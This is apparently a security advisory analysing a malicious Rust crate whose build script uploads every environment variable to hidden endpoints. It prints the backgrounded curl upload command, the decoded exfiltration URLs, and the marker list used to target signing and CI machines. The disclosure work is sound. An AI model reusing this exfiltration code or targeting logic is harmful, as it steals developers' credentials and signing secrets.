The build script of lwd-uri-util copies every environment variable, unfiltered, and posts it to hidden URLs, in every version; from 0.1.1 on it singles out machines that hold app-signing secrets.
This is a supply-chain attack: installing it compromises the machine. Compiling any code that depends on lwd-uri-util runs its build script, which copies every environment variable -- unfiltered, whatever secrets it holds -- into a file and posts that file to three attacker-chosen endpoints hidden behind base64 strings: a public webhook-collection page at webhook.site, a Cloudflare Worker at session-check.sapho11.workers.dev, and a throwaway domain. The code posts to all three. A follow-up version, 0.1.1, published eight minutes after 0.1.0, keeps the exfiltration and adds a gate. It uploads when the environment carries app-signing or release-tooling variables (an Apple ID, an Android keystore, a code-signing certificate, a Fastlane or Sparkle setup), on any Windows machine, on GitHub Actions, AppVeyor and Azure DevOps runners, or when the user is anything other than a generic service account. It stays silent only on a machine with none of those: in practice a bare Linux host running as root, runner or a similar account. 0.1.2, published three minutes after 0.1.1, keeps the same payload, widens the signing markers and no longer treats GitHub Actions as a trigger, so it is quieter still on plain automation while still collecting from developer workstations, Windows machines and release-signing machines. 0.1.3 and 0.1.4, published over the next twelve minutes, keep that payload and gate and post to a single webhook.site page each. This review covers every version of the crate, including any published after it was written: the publishing account has released nothing else, and every release so far carries the same payload. No version is benign: the crate's actual library code is a plain endpoint-string normalizer that never needs any of this.
What lwd-uri-util does
The crate advertises itself as a helper that turns Zcash lightwalletd endpoint strings into one canonical https://host:port form, and its library code does exactly that, nothing more. All of the harmful behaviour is in its cargo build script, which runs automatically on any machine that compiles the crate -- whether directly or as a dependency of something else. The script collects the complete environment of the compiling machine (every variable, whatever it holds: registry tokens, cloud provider keys, CI service tokens, anything present), adds the hostname and username, writes it to a JSON file in its output directory, and starts one detached upload process per endpoint that posts the file and then dies quietly so the compilation never appears to wait on anything. On Windows the uploader is a hidden PowerShell invocation doing the same POST; on Unix it is a backgrounded curl.
What the code does
- build.rs:39-55 -- snapshot() walks
env::vars() with no filtering and serializes every variable, plus _host and _user, into one JSON string; the comment claims "provenance" needs the exact variable set, which is what cargo itself tracks.
- build.rs:101 -- main() writes that snapshot to
$OUT_DIR/lwd_uri_build_context.json.
- build.rs:59-66 -- sinks() decodes three base64 strings into upload URLs:
https://api.sdklfghaljksdhfkjasdfhlasdhfjklasdf.xyz/v1/tipcheck, https://webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea, https://session-check.sapho11.workers.dev/v1/tipcheck. Base64 hides the destinations from a casual read; the subdomain sapho11 matches the crate's publisher account name.
- build.rs:70-91 -- report() spawns one uploader per URL:
/bin/sh -c "(curl -s -X POST --data-binary @<file> <url> >/dev/null 2>&1 &)" on Unix (lines 85-91), a hidden powershell doing the same POST on Windows (lines 74-84). The trailing & detaches them so they outlive the build script.
- build.rs:100 (0.1.1; line 99 in 0.1.2) -- the upload is gated on
has_marker || human_host.
- build.rs:75-90 (0.1.1) --
has_marker: true when any environment variable's name contains one of a list of base64-hidden markers (VINOR_, MATCH_, FASTLANE_, APPLE_ID, SPARKLE_, ANDROID_KEYSTORE, KEYSTORE_, PLAY_PUBLISHER, SIGNING_CERT, CODE_SIGN, DEVELOPER_DIR, USERDOMAIN, KEYCHAIN, WINDIR, GITHUB_RUN_ATTEMPT, RUNNER_ENVIRONMENT, APPVEYOR_, TF_BUILD), or any value contains fastlane, velopack or applesignin. WINDIR and USERDOMAIN are set on every Windows machine, and the last four are set by GitHub Actions, AppVeyor and Azure DevOps: their presence triggers the upload.
- build.rs:93-99 (0.1.1) --
human_host: true when the username is not one of the generic service names the script lists (runner, root, builder, ubuntu, github, actions, circleci, travis, jenkins, codespace, vscode, container, ec2-user, gitpod, nobody and a few more). Any ordinary account name uploads.
- build.rs:75-84 (0.1.2) -- the marker list changes:
APPLE_ID becomes APPLE_, PLAY_PUBLISHER becomes PLAY_, SIGNING_CERT becomes SIGNING, and GITHUB_RUN_ATTEMPT and RUNNER_ENVIRONMENT are removed. Everything else, the three URLs included, is unchanged.
- build.rs:59-66 (0.1.3, 0.1.4) -- sinks() now holds one base64 URL: 0.1.3 keeps
https://webhook.site/0a60608b-63de-480c-a441-38a8d107a9ea, and 0.1.4 replaces it with https://webhook.site/14b3cc9b-3275-4b63-8b93-f4d2669fbdc1. The gate (build.rs:97) and the rest of the script are those of 0.1.2.
- src/lib.rs:1-45 -- the library itself: a plain string normalizer (
canonicalize_endpoint) with tests. Nothing in it touches the network or the environment; the build script's "metrics" have no relationship to the crate's purpose.
Timeline (UTC)
| When | What |
| 2026-11-10 03:05:49 | 0.1.0 published to crates.io |
| 2026-11-10 03:13:25 | 0.1.1 published, adding the gate |
| 2026-11-10 03:16:17 | 0.1.2 published, with wider signing markers and without the GitHub Actions markers |
| 2026-11-10 03:22:29 | 0.1.3 published, posting to one webhook.site page |
| 2026-11-10 03:28:22 | 0.1.4 published, posting to a second webhook.site page |
| 2026-11-10 | all five versions still served by crates.io (first published today); no report at osv.dev at the time of this review |
If you installed it
Treat the machine that compiled it as compromised: anything that was in that machine's environment when cargo built the crate -- registry and package-index tokens, cloud provider keys, CI service tokens -- has been uploaded to the three endpoints above. Rotate those credentials, starting with any cargo registry token (crates.io publish tokens) and any cloud or signing credentials on the machine, and review access logs for the accounts they belong to. Because every version from 0.1.1 on targets machines with Apple and Android signing material specifically, any release-signing keystores or certificates on the machine should be rotated too, and anything signed with them since November 10, 2026 re-verified. The uploads are plain JSON POSTs, so the full variable names and values went out in the clear of the request body. Deleting the crate removes the code but does not undo what was already sent.